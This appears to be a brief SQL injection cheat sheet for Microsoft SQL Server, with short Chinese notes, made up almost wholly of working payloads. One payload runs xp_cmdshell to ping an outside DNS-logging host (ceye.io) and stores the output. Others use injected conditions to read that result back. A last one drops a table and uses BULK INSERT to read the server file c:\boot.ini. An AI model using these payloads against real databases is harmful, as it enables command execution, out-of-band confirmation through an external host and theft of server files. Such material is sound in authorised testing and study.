create table test(t1 nvarchar(255), id int);DECLARE @result varchar(255);EXEC xp_cmdshell 'ping mytest1.***.ceye.io',@result output;insert into test(t1) values(@result);
再查询结果and 1=(select top 1 t1 from test) 或者and 1=(select count(*) from test where t1>1)
;drop table cmd;create table cmd (a text);BULK INSERT cmd FROM 'c:\boot.ini' WITH (FIELDTERMINATOR = '\n',ROWTERMINATOR ='\n\n')